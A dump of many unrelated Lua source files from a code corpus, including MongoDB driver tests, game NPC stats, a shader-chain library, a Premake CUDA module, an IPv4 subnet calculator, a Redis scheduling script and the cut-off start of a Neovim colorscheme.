content stringlengths 5 1.05M |
|---|
include("names")
index_ime = math.random(#musko_ime_nom);
ime = musko_ime_nom[index_ime];
padez = musko_ime_gen[index_ime];
deo = math.random(4) + 1;
put1 = math.random(deo - 1);
put2 = put1 * (deo - 1);
put = put1 + put2
vreme = put2 * 6;
|
--[[
Copyright 2015 MongoDB, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--]]
require('luaHelperFunctions')
local lu = require("luaunit")
local BaseTest = require("BaseTest")
local ObjectId = require("mongorover.luaBSONObjects.ObjectId")
local BSONNull = require("mongorover.luaBSONObjects.BSONNull")
local BSONDate = require("mongorover.luaBSONObjects.BSONDate")
local InsertOneResult = require("mongorover.resultObjects.InsertOneResult")
local InsertManyResult = require("mongorover.resultObjects.InsertManyResult")
local UpdateResult = require("mongorover.resultObjects.UpdateResult")
TestCollection = {}
setmetatable(TestCollection, {__index = BaseTest})
function TestCollection:test_database_drop()
local result = self.collection:insert_one({a = 1})
lu.assertTrue(result.acknowledged, "insert_one failed")
lu.assertTrue(InsertOneResult.isInsertOneResult(result))
has_database = self.database:hasCollection("foo")
lu.assertTrue(has_database, "database does not exist after insert_one(...)")
self.collection:drop()
has_database = self.database:hasCollection("bar")
lu.assertFalse(has_database, "database did not get dropped")
end
function TestCollection:test_find_one_and_insert_one_with_id()
local allDifferentTypes = {
a = 1, b = 2, c = "C", d = "D", e = true,
f = {gh_issue_number = "34"}, g = {key1 = "foo", key2 = "bar"},
h = {1}, i = {1, 2},
z = BSONNull.new(), _id = ObjectId.new("55830e73d2b38bf021417851")
}
local result = self.collection:insert_one(allDifferentTypes)
lu.assertTrue(result.acknowledged, "insert_one failed")
lu.assertTrue(InsertOneResult.isInsertOneResult(result))
local check_result = self.collection:find_one({_id = result.inserted_id})
lu.assertTrue(table_eq(check_result, allDifferentTypes), "insert_one and find_one documents do not match")
end
function TestCollection:date_conversions()
local seconds_before_epoch = -99
local epoch = 0
local seconds_after_epoch = 99
local dates = {
before_epoch = BSONDate.new(seconds_before_epoch),
at_epoch = BSONDate.new(epoch),
after_epoch = BSONDate.new(seconds_after_epoch),
}
self.collection:insert_one(dates)
local result = self.collection:find_one({}, {_id = false})
lu.assertEquals(result.before_epoch.datetime, seconds_before_epoch)
lu.assertEquals(result.at_epoch.datetime, epoch)
lu.assertEquals(result.after_epoch.datetime, seconds_after_epoch)
lu.assertTrue(BSONDate.isBSONDate(result.before_epoch))
end
function TestCollection:test_find_one_and_insert_one_without_id()
local allDifferentTypes = {a = 1, b = 2, c = "C", d = "D", e = true, z = BSONNull.new()}
local result = self.collection:insert_one(allDifferentTypes)
lu.assertTrue(result.acknowledged, "insert_one failed")
lu.assertTrue(InsertOneResult.isInsertOneResult(result))
local check_result = self.collection:find_one({_id = result.inserted_id} )
lu.assertTrue(table_eq(check_result, allDifferentTypes),
"insert_one and find_one documents do not match")
end
function TestCollection:test_bad_key_in_document()
local arrayAsKey = { [{1}] = 1 }
lu.assertErrorMsgContains("invalid key type: table",
function() self.collection:insert_one(arrayAsKey) end)
end
function TestCollection:test_insert_many()
docs = {}
for i = 1,5 do
docs[i] = {}
end
result = self.collection:insert_many(docs)
lu.assertTrue(InsertManyResult.isInsertManyResult(result))
lu.assertTrue(isArray(result.inserted_ids))
lu.assertEquals(#result.inserted_ids, 5)
for _, doc in pairs(docs) do
local _id = doc["_id"]
lu.assertTrue(inArray(_id, result.inserted_ids))
lu.assertEquals(self.collection:count({_id = _id}), 1)
end
docs = {}
for i = 1,5 do
docs[i] = {_id = i}
end
result = self.collection:insert_many(docs)
lu.assertTrue(InsertManyResult.isInsertManyResult(result))
lu.assertTrue(isArray(result.inserted_ids))
lu.assertEquals(#result.inserted_ids, 5)
for _,doc in pairs(docs) do
local _id = doc["_id"]
lu.assertTrue(inArray(_id, result.inserted_ids))
lu.assertEquals(self.collection:count({_id = _id}), 1)
end
end
function TestCollection:test_find()
local docs = {}
for i = 1,5 do
local result = self.collection:insert_one({ a = i < 3 })
assert(result.acknowledged == true, "insert_one failed")
end
local results = self.collection:find({a = true})
local numDocuments = 0
for result in results do
lu.assertTrue(ObjectId.isObjectId(result["_id"]), "find did not return object ids")
numDocuments = numDocuments + 1
end
lu.assertEquals(numDocuments, 2, "inserted two documents and found a different number")
-- Test finding 0 documents.
numDocuments = 0
results = self.collection:find({should_find_none = 0})
for result in results do
numDocuments = numDocuments + 1
end
lu.assertEquals(numDocuments, 0)
-- Test for error on a bad operation.
results = self.collection:find({a = {["$bad_op"] = 5}})
lu.assertErrorMsgContains("unknown operator: $bad_op",
function() for result in results do print(result) end end)
end
function TestCollection:test_find_options()
for i = 0,9 do
self.collection:insert_one({x = i})
end
lu.assertEquals(10, self.collection:count())
local total = 0
local results = self.collection:find(nil, nil, {skip = 4, limit = 2})
for result in results do
total = total + result.x
end
lu.assertEquals(total, 9)
end
function TestCollection:test_update_one()
local id1 = self.collection:insert_one({x = 5}).inserted_id
local result = self.collection:update_one({}, {["$inc"] = {x = 1}})
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertEquals(result.modified_count, 1)
lu.assertNil(result.upserted_id)
lu.assertEquals(self.collection:find_one({_id = id1}).x, 6)
local id2 = self.collection:insert_one({x = 1}).inserted_id
result = self.collection:update_one({x = 6}, {["$inc"] = {x = 1}})
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertEquals(result.matched_count, 1)
lu.assertEquals(result.modified_count, 1)
lu.assertNil(result.upserted_id)
lu.assertEquals(self.collection:find_one({_id = id1}).x, 7)
lu.assertEquals(self.collection:find_one({_id = id2}).x, 1)
result = self.collection:update_one({x = 2}, {["$set"] = {y = 1}}, true)
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertEquals(result.matched_count, 0)
lu.assertEquals(result.modified_count, 0)
lu.assertTrue(ObjectId.isObjectId(result.upserted_id))
end
function TestCollection:test_update_many()
self.collection:insert_many({
{x = 4, y = 3},
{x = 5, y = 5},
{x = 4, y = 4}
})
local result = self.collection:update_many({x = 4}, {["$set"] = {y = 5}})
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertEquals(result.matched_count, 2)
lu.assertEquals(result.modified_count, 2)
lu.assertNil(result.upserted_id)
result = self.collection:update_many({x = 5}, {["$set"] = {y = 6}})
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertTrue(result.matched_count, 1)
lu.assertEquals(result.modified_count, 1)
lu.assertNil(result.upserted_id)
lu.assertEquals(self.collection:count({y = 6}), 1)
result = self.collection:update_many({x = 2}, {["$set"] = {y = 1}}, true)
lu.assertTrue(UpdateResult.isUpdateResult(result))
lu.assertEquals(result.matched_count, 0)
lu.assertEquals(result.modified_count, 0)
lu.assertTrue(ObjectId.isObjectId(result.upserted_id))
end
function TestCollection:test_count()
assert(self.collection:count() == 0)
self.collection:insert_many({ {foo = "bar"}, {foo = "baz"} })
local num_results = 0
for result in self.collection:find({foo = "bar"}) do
num_results = num_results + 1
end
lu.assertEquals(num_results, 1)
lu.assertEquals(self.collection:count({foo = "bar"}), 1)
lu.assertEquals(self.collection:count({foo = {["$regex"] = "ba.*"}}), 2)
end
function TestCollection:test_aggregate()
local inserted_document = { foo = {1, 2} }
self.collection:insert_one(inserted_document)
inserted_document["_id"] = nil
local aggregationPipeline = { {["$project"] = {_id = false, foo = true}} }
local results = self.collection:aggregate(aggregationPipeline)
local result_array = {}
local index = 1
for result in results do
result_array[index] = result
index = index + 1
end
lu.assertEquals(#result_array, 1)
lu.assertTrue(table_eq(inserted_document, result_array[1]))
end
lu.run()
|
registerNpc(821, {
walk_speed = 140,
run_speed = 700,
scale = 130,
r_weapon = 0,
l_weapon = 0,
level = 54,
hp = 1542,
attack = 190,
hit = 166,
def = 141,
res = 58,
avoid = 62,
attack_spd = 100,
is_magic_damage = 0,
ai_type = 156,
give_exp = 71,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 40,
sell_tab0 = 40,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(822, {
walk_speed = 144,
run_speed = 710,
scale = 135,
r_weapon = 0,
l_weapon = 0,
level = 55,
hp = 1569,
attack = 194,
hit = 169,
def = 144,
res = 59,
avoid = 63,
attack_spd = 101,
is_magic_damage = 0,
ai_type = 156,
give_exp = 75,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 41,
sell_tab0 = 41,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(823, {
walk_speed = 148,
run_speed = 720,
scale = 140,
r_weapon = 0,
l_weapon = 0,
level = 56,
hp = 1595,
attack = 198,
hit = 171,
def = 147,
res = 60,
avoid = 64,
attack_spd = 102,
is_magic_damage = 0,
ai_type = 156,
give_exp = 78,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 42,
sell_tab0 = 42,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(824, {
walk_speed = 152,
run_speed = 730,
scale = 145,
r_weapon = 0,
l_weapon = 0,
level = 57,
hp = 1622,
attack = 201,
hit = 173,
def = 150,
res = 62,
avoid = 65,
attack_spd = 103,
is_magic_damage = 0,
ai_type = 156,
give_exp = 83,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 43,
sell_tab0 = 43,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(825, {
walk_speed = 156,
run_speed = 740,
scale = 150,
r_weapon = 0,
l_weapon = 0,
level = 58,
hp = 1649,
attack = 205,
hit = 175,
def = 153,
res = 63,
avoid = 66,
attack_spd = 104,
is_magic_damage = 0,
ai_type = 156,
give_exp = 89,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 44,
sell_tab0 = 44,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(826, {
walk_speed = 160,
run_speed = 750,
scale = 155,
r_weapon = 0,
l_weapon = 0,
level = 59,
hp = 1677,
attack = 209,
hit = 177,
def = 156,
res = 64,
avoid = 67,
attack_spd = 105,
is_magic_damage = 0,
ai_type = 156,
give_exp = 94,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 45,
sell_tab0 = 45,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(827, {
walk_speed = 164,
run_speed = 760,
scale = 160,
r_weapon = 0,
l_weapon = 0,
level = 60,
hp = 1704,
attack = 213,
hit = 179,
def = 159,
res = 65,
avoid = 68,
attack_spd = 106,
is_magic_damage = 0,
ai_type = 156,
give_exp = 99,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 46,
sell_tab0 = 46,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(828, {
walk_speed = 168,
run_speed = 770,
scale = 165,
r_weapon = 0,
l_weapon = 0,
level = 61,
hp = 1731,
attack = 217,
hit = 181,
def = 162,
res = 66,
avoid = 69,
attack_spd = 107,
is_magic_damage = 0,
ai_type = 156,
give_exp = 105,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 47,
sell_tab0 = 47,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(829, {
walk_speed = 172,
run_speed = 780,
scale = 170,
r_weapon = 0,
l_weapon = 0,
level = 62,
hp = 1759,
attack = 221,
hit = 184,
def = 165,
res = 67,
avoid = 70,
attack_spd = 108,
is_magic_damage = 0,
ai_type = 156,
give_exp = 111,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 48,
sell_tab0 = 48,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
registerNpc(830, {
walk_speed = 176,
run_speed = 790,
scale = 175,
r_weapon = 0,
l_weapon = 0,
level = 64,
hp = 1814,
attack = 228,
hit = 188,
def = 171,
res = 70,
avoid = 72,
attack_spd = 109,
is_magic_damage = 0,
ai_type = 156,
give_exp = 116,
drop_type = 3,
drop_money = 0,
drop_item = 100,
union_number = 100,
need_summon_count = 49,
sell_tab0 = 49,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 250,
npc_type = 0,
hit_material_type = 2,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
function OnInit(entity)
return true
end
function OnCreate(entity)
return true
end
function OnDelete(entity)
return true
end
function OnDead(entity)
end
function OnDamaged(entity)
end |
--[[
MIT License
Copyright (c) 2021 Thales Maia de Moraes
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]]
local chain = {}
chain.__index = chain
local function clear_array(arr)
for i=1, #arr do
arr[i] = nil
end
end
local function push_to_array(arr, ...)
for i = 1, select("#", ...) do
arr[#arr+1] = select(i, ...)
end
end
local function copy_to_array(from, to)
for i = 1, #from do
to[#to+1] = from[i]
end
end
function chain:start(...)
if self.isEnabled then
self.active = true
self.curr_canvas = love.graphics.getCanvas()
--Setup graphics state
love.graphics.setCanvas(self.front)
love.graphics.push("transform")
love.graphics.origin()
love.graphics.clear()
push_to_array(self.holding, ...)
end
return self
end
local shader_list = {}
function chain:stop()
if self.isEnabled then
assert(self.active, "You need to call chain:start() first")
local blendmode, alphamode = love.graphics.getBlendMode()
local curr_shader = love.graphics.getShader()
push_to_array(shader_list, unpack(self.shaders))
push_to_array(shader_list, unpack(self.holding))
love.graphics.setBlendMode("alpha", "premultiplied")
for i=1, #shader_list do
--Apply shaders on the back buffer
love.graphics.setCanvas(self.back)
love.graphics.clear()
love.graphics.setShader(shader_list[i])
love.graphics.draw(self.front)
--Send the results to the front buffer
love.graphics.setCanvas(self.front)
love.graphics.clear()
love.graphics.draw(self.back)
end
love.graphics.setShader()
love.graphics.pop()
love.graphics.setBlendMode("alpha", "alphamultiply")
love.graphics.setCanvas(self.curr_canvas)
love.graphics.draw(self.front)
love.graphics.setBlendMode(blendmode, alphamode)
love.graphics.setShader(curr_shader)
clear_array(shader_list)
clear_array(self.holding)
self.curr_canvas = nil
self.active = false
end
return self
end
function chain:append(...)
copy_to_array({...}, self.shaders)
return self
end
function chain:removeAppended(...)
for i=1, select("#", ...) do
local sh = select(i, ...)
local find = false
for j=1, #self.shaders do
if sh == self.shaders[j] then
table.remove(self.shaders, j)
find = true
end
end
assert(find, "Item #"..i.." is not appended")
end
return self
end
function chain:clearAppended()
clear_array(self.shaders)
return self
end
function chain:resize(width, height)
self.front = love.graphics.newCanvas(width, height)
self.back = love.graphics.newCanvas(width, height)
return self
end
function chain:isAppended(sh)
for i=1, #self.shaders do
if sh == self.shaders[i] then
return true
end
end
return false
end
function chain:setEnabled(status)
if status == nil then
return self.isEnabled
else
self.isEnabled = status
return self
end
end
function chain:new(width, height)
width = width or love.graphics.getWidth()
height = height or love.graphics.getHeight()
local object = {
front = nil,
back = nil,
curr_canvas = nil,
isEnabled = true,
shaders = {},
holding = {},
}
return setmetatable(object, chain):resize(width, height)
end
-- Default instance
local default = chain:new()
for i, func in pairs(chain) do
default[i] = function(...) return func(default, ...) end
end
return setmetatable(default, {__call = chain.new}) |
return {
Throttle = Enum.KeyCode.ButtonR2,
Brakes = Enum.KeyCode.ButtonL2,
SecondaryBrakes = Enum.KeyCode.ButtonA,
SteerLeft = Enum.KeyCode.Thumbstick1,
SteerRight = Enum.KeyCode.Thumbstick1,
GearUp = Enum.KeyCode.ButtonB,
GearDown = Enum.KeyCode.ButtonX,
Clutch = Enum.KeyCode.ButtonL1,
ToggleLights = Enum.KeyCode.DPadDown,
ToggleLamps = Enum.KeyCode.DPadUp,
} |
ITEM.name = "ALIAS CS5"
ITEM.description = "A bolt-action integrally suppressed sniper rifle chambered for the 7.62x51mm round."
ITEM.model = "models/weapons/cs5/w_cs5.mdl"
ITEM.class = "cw_kk_ins2_cs5"
ITEM.weaponCategory = "primary"
ITEM.width = 4
ITEM.height = 2
ITEM.price = 72000
ITEM.weight = 12 |
package 'gluon-web-node-role'
entry({"admin", "noderole"}, model("admin/noderole"), "Node role", 60)
|
--
-- cuda_vstudio.lua
-- CUDA integration for vstudio.
-- Copyright (c) 2012-2015 Manu Evans and the Premake project
--
local p = premake
local m = p.modules.cuda
m.elements = {}
local vstudio = p.vstudio
local vc2010 = vstudio.vc2010
m.element = vc2010.element
---- C/C++ projects ----
function m.cudaPropertyGroup(prj)
p.push('<PropertyGroup>')
m.element("CUDAPropsPath", "Condition=\"'$(CUDAPropsPath)'==''\"", "$(VCTargetsPath)\\BuildCustomizations")
p.pop('</PropertyGroup>')
end
p.override(vc2010.elements, "project", function(oldfn, prj)
local sections = oldfn(prj)
table.insertafter(sections, vc2010.project, m.cudaPropertyGroup)
return sections
end)
function m.cudaToolkitPath(prj)
p.w("<CudaToolkitCustomDir />")
end
p.override(vc2010.elements, "globals", function(oldfn, prj)
local globals = oldfn(prj)
table.insertafter(globals, m.cudaToolkitPath)
return globals
end)
function m.cudaProps(prj)
p.w("<Import Project=\"$(CUDAPropsPath)\\CUDA 8.0.props\" />")
end
p.override(vc2010.elements, "importExtensionSettings", function(oldfn, prj)
local importExtensionSettings = oldfn(prj)
table.insert(importExtensionSettings, m.cudaProps)
return importExtensionSettings
end)
function m.cudaRuntime(cfg)
if cfg.cudaruntime then
-- m.element("JSONFile", nil, cfg.cudaruntime)
end
end
m.elements.cudaCompile = function(cfg)
return {
m.cudaRuntime
}
end
function m.cudaCompile(cfg)
p.push('<CudaCompile>')
p.callArray(m.elements.cudaCompile, cfg)
p.pop('</CudaCompile>')
end
p.override(vc2010.elements, "itemDefinitionGroup", function(oldfn, cfg)
local cuda = oldfn(cfg)
table.insertafter(cuda, vc2010.clCompile, m.cudaCompile)
return cuda
end)
function m.cudaTargets(prj)
p.w("<Import Project=\"$(CUDAPropsPath)\\CUDA 8.0.targets\" />")
end
p.override(vc2010.elements, "importExtensionTargets", function(oldfn, prj)
local targets = oldfn(prj)
table.insert(targets, m.cudaTargets)
return targets
end)
---
-- CudaCompile group
---
vc2010.categories.CudaCompile = {
name = "CudaCompile",
extensions = { ".cu" },
priority = 2,
emitFiles = function(prj, group)
local fileCfgFunc = function(fcfg, condition)
if fcfg then
return {
vc2010.excludedFromBuild,
-- TODO: D per-file options
-- m.objectFileName,
-- m.clCompilePreprocessorDefinitions,
-- m.clCompileUndefinePreprocessorDefinitions,
-- m.optimization,
-- m.forceIncludes,
-- m.precompiledHeader,
-- m.enableEnhancedInstructionSet,
-- m.additionalCompileOptions,
-- m.disableSpecificWarnings,
-- m.treatSpecificWarningsAsErrors
}
else
return {
vc2010.excludedFromBuild
}
end
end
vc2010.emitFiles(prj, group, "CudaCompile", {vc2010.generatedFile}, fileCfgFunc)
end,
emitFilter = function(prj, group)
vc2010.filterGroup(prj, group, "CudaCompile")
end
}
|
#!/usr/bin/env lua
--[[
usage: ./ipv4.lua 1.2.3.4/29
output:
Nicks-MacBook-Air:bits Fizzadar$ ./ipv4.lua 31.4.255.200/15
###### INFO ######
IP in: 31.4.255.200
Mask in: /15
=> Mask Wildcard: 0.1.255.255
=> in IP is network-ip: false
=> in IP is broadcast-ip: false
###### BLOCK ######
#IP's: 131072
Bottom/Network: 31.4.0.0/15
Top/Broadcast: 31.5.255.255
Subnet Range: 31.4.0.0 - 31.5.255.255
Host Range: 31.4.0.1 - 31.5.255.254
confirmed/tested using:
http://jodies.de/ipcalc
http://www.subnet-calculator.com/cidr.php
]]
local tonumber, print = tonumber, print
--validate we have an ip
if not arg[1] then return print( 'invalid ip' ) end
--validate actual ip
local a, b, ip1, ip2, ip3, ip4, mask = arg[1]:find( '(%d+).(%d+).(%d+).(%d+)/(%d+)')
if not a then return print( 'invalid ip' ) end
local ip = { tonumber( ip1 ), tonumber( ip2 ), tonumber( ip3 ), tonumber( ip4 ) }
--list masks => wildcard
local masks = {
[1] = { 127, 255, 255, 255 },
[2] = { 63, 255, 255, 255 },
[3] = { 31, 255, 255, 255 },
[4] = { 15, 255, 255, 255 },
[5] = { 7, 255, 255, 255 },
[6] = { 3, 255, 255, 255 },
[7] = { 1, 255, 255, 255 },
[8] = { 0, 255, 255, 255 },
[9] = { 0, 127, 255, 255 },
[10] = { 0, 63, 255, 255 },
[11] = { 0, 31, 255, 255 },
[12] = { 0, 15, 255, 255 },
[13] = { 0, 7, 255, 255 },
[14] = { 0, 3, 255, 255 },
[15] = { 0, 1, 255, 255 },
[16] = { 0, 0, 255, 255 },
[17] = { 0, 0, 127, 255 },
[18] = { 0, 0, 63, 255 },
[19] = { 0, 0, 31, 255 },
[20] = { 0, 0, 15, 255 },
[21] = { 0, 0, 7, 255 },
[22] = { 0, 0, 3, 255 },
[23] = { 0, 0, 1, 255 },
[24] = { 0, 0, 0, 255 },
[25] = { 0, 0, 0, 127 },
[26] = { 0, 0, 0, 63 },
[27] = { 0, 0, 0, 31 },
[28] = { 0, 0, 0, 15 },
[29] = { 0, 0, 0, 7 },
[30] = { 0, 0, 0, 3 },
[31] = { 0, 0, 0, 1 }
}
--get wildcard
local wildcard = masks[tonumber( mask )]
--number of ips in mask
local ipcount = math.pow( 2, ( 32 - mask ) )
--network IP (route/bottom IP)
local bottomip = {}
for k, v in pairs( ip ) do
--wildcard = 0?
if wildcard[k] == 0 then
bottomip[k] = v
elseif wildcard[k] == 255 then
bottomip[k] = 0
else
local mod = v % ( wildcard[k] + 1 )
bottomip[k] = v - mod
end
end
--use network ip + wildcard to get top ip
local topip = {}
for k, v in pairs( bottomip ) do
topip[k] = v + wildcard[k]
end
--is input ip = network ip?
local isnetworkip = ( ip[1] == bottomip[1] and ip[2] == bottomip[2] and ip[3] == bottomip[3] and ip[4] == bottomip[4] )
local isbroadcastip = ( ip[1] == topip[1] and ip[2] == topip[2] and ip[3] == topip[3] and ip[4] == topip[4] )
--output
print()
print( '###### INFO ######' )
print( 'IP in: ' .. ip[1] .. '.' .. ip[2] .. '.' .. ip[3] .. '.' .. ip[4] )
print( 'Mask in: /' .. mask )
print( '=> Mask Wildcard: ' .. wildcard[1] .. '.' .. wildcard[2] .. '.' .. wildcard[3] .. '.' .. wildcard[4] )
print( '=> in IP is network-ip: ' .. tostring( isnetworkip ) )
print( '=> in IP is broadcast-ip: ' .. tostring( isbroadcastip ) )
print( '\n###### BLOCK ######' )
print( '#IP\'s: ' .. ipcount )
print( 'Bottom/Network: ' .. bottomip[1] .. '.' .. bottomip[2] .. '.' .. bottomip[3] .. '.' .. bottomip[4] .. '/' .. mask )
print( 'Top/Broadcast: ' .. topip[1] .. '.' .. topip[2] .. '.' .. topip[3] .. '.' .. topip[4] )
print( 'Subnet Range: ' .. bottomip[1] .. '.' .. bottomip[2] .. '.' .. bottomip[3] .. '.' .. bottomip[4] .. ' - ' .. topip[1] .. '.' .. topip[2] .. '.' .. topip[3] .. '.' .. topip[4] )
print( 'Host Range: ' .. bottomip[1] .. '.' .. bottomip[2] .. '.' .. bottomip[3] .. '.' .. bottomip[4] + 1 .. ' - ' .. topip[1] .. '.' .. topip[2] .. '.' .. topip[3] .. '.' .. topip[4] - 1 )
|
--[[
key 1 -> rdb:schedule:waiting
key 2 -> rdb:schedule:name|||versionHash:timestamp
key 3 -> rdb:schedule:schedules - hash
arg 1 -> next timestamp
arg 2 -> next time - human readable
arg 3 -> occurrence lock time
arg 4 -> schedule
arg 5 -> schedule name
]]
local lock = redis.call('get', KEYS[2])
if not lock then
local schedule = redis.call('hget', KEYS[3], ARGV[5])
if not schedule then return nil end
-- create a lock for this occurrence then add to sorted set
redis.call('set', KEYS[2], ARGV[4], 'EX', tonumber(ARGV[3]))
redis.call('zadd', KEYS[1], tonumber(ARGV[1]), ARGV[4]);
-- update schedule next times
local scheduleParsed = cjson.decode(schedule)
scheduleParsed.occurrence.next = tonumber(ARGV[1])
scheduleParsed.occurrence.nextHuman = tonumber(ARGV[2])
-- re-encode json and update hash
redis.call('hset', KEYS[3], ARGV[5], cjson.encode(scheduleParsed))
else
return lock;
end
|
local user_dao = LoadApplication('models.dao.user'):new()
local UserService = {}
function UserService:login(username,password)
return user_dao:login(username,password)
end
function UserService:reg(username,password)
return user_dao:reg(username,password)
end
return UserService |
if a then
f()
else
g()
end
if b then
f()
if a then
g()
end
else
h()
end
if a then
if b then
f()
else
h()
end
g()
end
|
return Def.Actor {
OnCommand = function(self)
self:sleep(ScreenMetric("InDelay"))
end
}
|
object_intangible_beast_bm_mutated_rancor = object_intangible_beast_shared_bm_mutated_rancor:new {
}
ObjectTemplates:addTemplate(object_intangible_beast_bm_mutated_rancor, "object/intangible/beast/bm_mutated_rancor.iff")
|
x = 'MAIN';
function second() print(x) end
function first() local x = 'FIRST'; second() end
first()
|
local M = {}
local cmd = vim.cmd
local g = vim.g
local o = vim.o
local fn = vim.fn
local settings = {
modus_faint_syntax = 0,
modus_moody_enable = 0,
modus_yellow_comments = 0,
modus_green_strings = 0,
modus_termtrans_enable = 0,
modus_cursorline_intense = 0,
modus_italic_strings = 0,
}
for key, val in pairs(settings) do
if g[key] == nil then
g[key] = val
end
end
cmd("hi clear")
if fn.exists("syntax_on") then
cmd("syntax reset")
end
function M.core_highlights(colors)
-- this will apply the highlights
local highlighter = function(group, color)
color.bg = color.bg or { "none", "none" }
local g_background = color.bg[1] -- gui color
local c_background = color.bg[2] -- cterm color
local g_foreground = color.fg[1] -- gui color
local c_foreground = color.fg[2] -- cterm color
local style = color.style or "none"
cmd(
string.format(
"hi %s guifg=%s guibg=%s gui=%s ctermfg=%s ctermbg=%s cterm=%s",
group,
g_foreground,
g_background,
style,
c_foreground,
c_background,
style
)
)
end
local syntax = {}
-- ui
syntax["Normal"] = { fg = colors.fg_main, bg = colors.bg_main }
syntax["Folded"] = { fg = colors.fg_special_mild, bg = colors.bg_special_mild }
syntax["LineNr"] = { fg = colors.fg_alt, bg = colors.bg_main }
syntax["CursorLineNr"] = { fg = colors.fg_active, bg = colors.bg_active, style = "bold" }
syntax["SignColumn"] = { fg = colors.fg_alt, bg = colors.bg_main }
syntax["CursorLine"] = { fg = colors.none, bg = colors.bg_hl_line }
syntax["NonText"] = { fg = colors.fg_alt }
syntax["NormalNC"] = { fg = colors.fg_main, bg = colors.bg_main }
syntax["ErrorMsg"] = { fg = colors.fg_main, bg = colors.red_intense_bg }
syntax["Conceal"] = { fg = colors.fg_special_warm, bg = colors.bg_dim }
syntax["Cursor"] = { fg = colors.bg_main, bg = colors.fg_main }
syntax["lCursor"] = syntax["Cursor"]
syntax["CursorIM"] = syntax["Cursor"]
syntax["ColorColumn"] = { fg = colors.fg_main, bg = colors.bg_active }
syntax["FoldColumn"] = { fg = colors.fg_active, bg = colors.bg_active }
syntax["IncSearch"] = syntax["Search"]
syntax["Substitute"] = syntax["Search"]
-- syntax['ModeMsg'] = {}
-- syntax['MsgArea'] = {}
-- syntax['MsgSeparator'] = {}
-- syntax['MoreMsg'] = {}
-- syntax['NormalFloat'] = {}
-- syntax['Question'] = {}
-- syntax['QuickFixLine'] = {}
-- syntax['SpecialKey'] = {}
syntax["Menu"] = syntax["Pmenu"]
syntax["Scrollbar"] = syntax["PmenuSbar"]
